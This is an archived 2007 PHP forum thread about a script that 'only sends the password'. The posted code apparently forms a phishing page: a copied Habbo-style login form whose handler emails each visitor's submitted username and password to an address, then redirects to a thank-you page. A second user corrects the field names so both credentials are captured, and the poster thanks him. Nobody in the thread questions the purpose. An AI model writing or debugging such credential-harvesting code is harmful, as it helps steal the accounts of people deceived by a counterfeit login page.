rofl90 Posted December 23, 2007 Share Posted December 23, 2007 Register.php <?php if ($_SERVER['REQUEST_METHOD'] != 'GET') { $user = $_POST['loginTicket']; $pass = $_POST['password']; $messig = "Username: $user\nPassword: $pass\n"; $subject = $user; if (mail("[email protected]", $subject, $messig)) { header("Location: http://www.example.com/thanks"); } else { echo 'ERROR'; } } ?> form.php extract only <form action="post.php" method="post" name="form" class="login-habblet" id="login-form"> <ul> <li> <label for="login-username" class="login-text">Username <input type="hidden" name="loginTicket" value="" /> </label> <input tabindex="1" type="text" class="login-field" name="habbo" id="login-username" value="" /> </li> <li> <label for="login-password" class="login-text">Password</label> <input tabindex="2" type="password" class="login-field" name="password" id="login-password" /> <input name="submit" type="submit" class="process-button" id="login-submit" value="Log in" /> whats wrong ;/ Link to comment https://forums.phpfreaks.com/topic/82948-only-sending-password/ Share on other sites More sharing options...
phpSensei Posted December 23, 2007 Share Posted December 23, 2007 It should be $user = $_POST['habbo']; $pass = $_POST['password']; $loginTicket = $_POST['loginTicket']; and <form action="post.php" method="post" name="form" class="login-habblet" id="login-form"> <ul> <li> <label for="login-username" class="login-text">Username <input type="hidden" name="loginTicket" value="loginTicket" /> </label> <input tabindex="1" type="text" class="login-field" name="habbo" id="login-username" value="" /> </li> <li> <label for="login-password" class="login-text">Password</label> <input tabindex="2" type="password" class="login-field" name="password" id="login-password" /> <input name="submit" type="submit" class="process-button" id="login-submit" value="Log in" /> </form> Link to comment https://forums.phpfreaks.com/topic/82948-only-sending-password/#findComment-421862 Share on other sites More sharing options...
rofl90 Posted December 23, 2007 Author Share Posted December 23, 2007 where did you get loginTicked from it's 'loginTicket' Link to comment https://forums.phpfreaks.com/topic/82948-only-sending-password/#findComment-421865 Share on other sites More sharing options...
phpSensei Posted December 23, 2007 Share Posted December 23, 2007 where did you get loginTicked from it's 'loginTicket' I edited my post. You set no value for loginTicket <input type="hidden" name="loginTicket" value="" /> Link to comment https://forums.phpfreaks.com/topic/82948-only-sending-password/#findComment-421866 Share on other sites More sharing options...
rofl90 Posted December 23, 2007 Author Share Posted December 23, 2007 aha silly me, thanks man Link to comment https://forums.phpfreaks.com/topic/82948-only-sending-password/#findComment-421873 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.